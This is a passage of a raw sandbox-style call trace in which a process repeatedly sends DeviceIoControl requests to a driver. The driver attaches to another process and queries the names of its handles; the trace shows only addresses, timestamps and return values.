[0132.028] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.028] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.028] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.028] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0132.029] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.029] PsAcquireProcessExitSynchronization () returned 0x0 [0132.029] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.029] ObReferenceObjectByHandle (in: Handle=0x914, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f80c00, HandleInformation=0x0) returned 0x0 [0132.029] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.029] PsReleaseProcessExitSynchronization () returned 0x2 [0132.029] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.029] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0132.029] ObfDereferenceObject (Object=0xfffffa8002f80c00) returned 0xe [0132.029] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.029] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.029] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.029] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0132.029] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.029] PsAcquireProcessExitSynchronization () returned 0x0 [0132.029] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.029] ObReferenceObjectByHandle (in: Handle=0x93c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0132.029] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.029] PsReleaseProcessExitSynchronization () returned 0x2 [0132.029] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.029] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.029] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0132.029] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.029] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.029] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.029] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.029] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.029] PsAcquireProcessExitSynchronization () returned 0x0 [0132.029] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.029] ObReferenceObjectByHandle (in: Handle=0x9d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002fbc4d0, HandleInformation=0x0) returned 0x0 [0132.029] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.029] PsReleaseProcessExitSynchronization () returned 0x2 [0132.030] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.030] ObQueryNameString (in: Object=0xfffffa8002fbc4d0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0132.030] ObfDereferenceObject (Object=0xfffffa8002fbc4d0) returned 0x1 [0132.030] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.030] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.030] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.030] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.030] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.030] PsAcquireProcessExitSynchronization () returned 0x0 [0132.030] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.030] ObReferenceObjectByHandle (in: Handle=0x9d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030b3630, HandleInformation=0x0) returned 0x0 [0132.030] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.030] PsReleaseProcessExitSynchronization () returned 0x2 [0132.030] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.030] ObQueryNameString (in: Object=0xfffffa80030b3630, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.030] ObfDereferenceObject (Object=0xfffffa80030b3630) returned 0x1 [0132.030] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.030] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.030] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.030] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.030] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.030] PsAcquireProcessExitSynchronization () returned 0x0 [0132.030] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.030] ObReferenceObjectByHandle (in: Handle=0x9dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031325c0, HandleInformation=0x0) returned 0x0 [0132.030] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.030] PsReleaseProcessExitSynchronization () returned 0x2 [0132.030] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.030] ObQueryNameString (in: Object=0xfffffa80031325c0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.030] ObfDereferenceObject (Object=0xfffffa80031325c0) returned 0x1 [0132.030] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.030] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.031] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.031] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0132.031] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.031] PsAcquireProcessExitSynchronization () returned 0x0 [0132.031] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.031] ObReferenceObjectByHandle (in: Handle=0xa28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a004a24140, HandleInformation=0x0) returned 0x0 [0132.031] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.031] PsReleaseProcessExitSynchronization () returned 0x2 [0132.031] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.031] ObQueryNameString (in: Object=0xfffff8a004a24140, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.031] ObfDereferenceObject (Object=0xfffff8a004a24140) returned 0x3 [0132.031] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.031] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.031] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.031] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.031] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.031] PsAcquireProcessExitSynchronization () returned 0x0 [0132.031] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.031] ObReferenceObjectByHandle (in: Handle=0xa44, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80034d7bb0, HandleInformation=0x0) returned 0x0 [0132.031] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.031] PsReleaseProcessExitSynchronization () returned 0x2 [0132.031] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.031] ObQueryNameString (in: Object=0xfffffa80034d7bb0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.031] ObfDereferenceObject (Object=0xfffffa80034d7bb0) returned 0x2 [0132.031] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.031] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.031] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.031] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0132.031] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.031] PsAcquireProcessExitSynchronization () returned 0x0 [0132.031] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.031] ObReferenceObjectByHandle (in: Handle=0xaac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003aeb2c0, HandleInformation=0x0) returned 0x0 [0132.031] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.031] PsReleaseProcessExitSynchronization () returned 0x2 [0132.031] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.032] ObQueryNameString (in: Object=0xfffffa8003aeb2c0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.032] ObfDereferenceObject (Object=0xfffffa8003aeb2c0) returned 0x1 [0132.032] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.032] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.032] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.032] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0132.032] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.032] PsAcquireProcessExitSynchronization () returned 0x0 [0132.032] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.032] ObReferenceObjectByHandle (in: Handle=0xbc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001f70ac0, HandleInformation=0x0) returned 0x0 [0132.032] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.032] PsReleaseProcessExitSynchronization () returned 0x2 [0132.032] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.032] ObQueryNameString (in: Object=0xfffffa8001f70ac0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.032] ObfDereferenceObject (Object=0xfffffa8001f70ac0) returned 0x11 [0132.032] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.032] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.032] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.032] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0132.032] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.032] PsAcquireProcessExitSynchronization () returned 0x0 [0132.032] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.032] ObReferenceObjectByHandle (in: Handle=0xdf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80018afa70, HandleInformation=0x0) returned 0x0 [0132.032] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.032] PsReleaseProcessExitSynchronization () returned 0x2 [0132.032] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.033] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000508) returned 0x0 [0132.033] ObfDereferenceObject (Object=0xfffffa80018afa70) returned 0x21 [0132.033] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.033] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.033] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.033] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0132.033] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.033] PsAcquireProcessExitSynchronization () returned 0x0 [0132.033] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.033] ObReferenceObjectByHandle (in: Handle=0xe18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80028c3d10, HandleInformation=0x0) returned 0x0 [0132.033] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.033] PsReleaseProcessExitSynchronization () returned 0x2 [0132.033] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.033] ObQueryNameString (in: Object=0xfffffa80028c3d10, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.033] ObfDereferenceObject (Object=0xfffffa80028c3d10) returned 0x1 [0132.033] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.033] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.033] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.033] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0132.033] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.033] PsAcquireProcessExitSynchronization () returned 0x0 [0132.033] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.033] ObReferenceObjectByHandle (in: Handle=0xe34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80028c2240, HandleInformation=0x0) returned 0x0 [0132.033] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.033] PsReleaseProcessExitSynchronization () returned 0x2 [0132.033] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.033] ObQueryNameString (in: Object=0xfffffa80028c2240, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.033] ObfDereferenceObject (Object=0xfffffa80028c2240) returned 0x2 [0132.034] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.034] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.034] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.034] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0132.034] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.034] PsAcquireProcessExitSynchronization () returned 0x0 [0132.034] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.034] ObReferenceObjectByHandle (in: Handle=0xe38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800193d590, HandleInformation=0x0) returned 0x0 [0132.034] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.034] PsReleaseProcessExitSynchronization () returned 0x2 [0132.034] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.034] ObQueryNameString (in: Object=0xfffffa800193d590, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.034] ObfDereferenceObject (Object=0xfffffa800193d590) returned 0x2 [0132.034] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.034] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.034] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.034] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0132.034] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.034] PsAcquireProcessExitSynchronization () returned 0x0 [0132.034] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.034] ObReferenceObjectByHandle (in: Handle=0xe7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001cab610, HandleInformation=0x0) returned 0x0 [0132.034] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.034] PsReleaseProcessExitSynchronization () returned 0x2 [0132.034] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.034] ObQueryNameString (in: Object=0xfffff8a001cab610, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.034] ObfDereferenceObject (Object=0xfffff8a001cab610) returned 0x2 [0132.034] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.034] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.034] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.034] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0132.034] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.034] PsAcquireProcessExitSynchronization () returned 0x0 [0132.035] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880050005d0) [0132.035] ObReferenceObjectByHandle (in: Handle=0xe84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0019dc710, HandleInformation=0x0) returned 0x0 [0132.035] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.035] PsReleaseProcessExitSynchronization () returned 0x2 [0132.035] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ec [0132.035] ObQueryNameString (in: Object=0xfffff8a0019dc710, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.035] ObfDereferenceObject (Object=0xfffff8a0019dc710) returned 0x2 [0132.035] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.035] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.035] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.035] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0132.035] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.035] 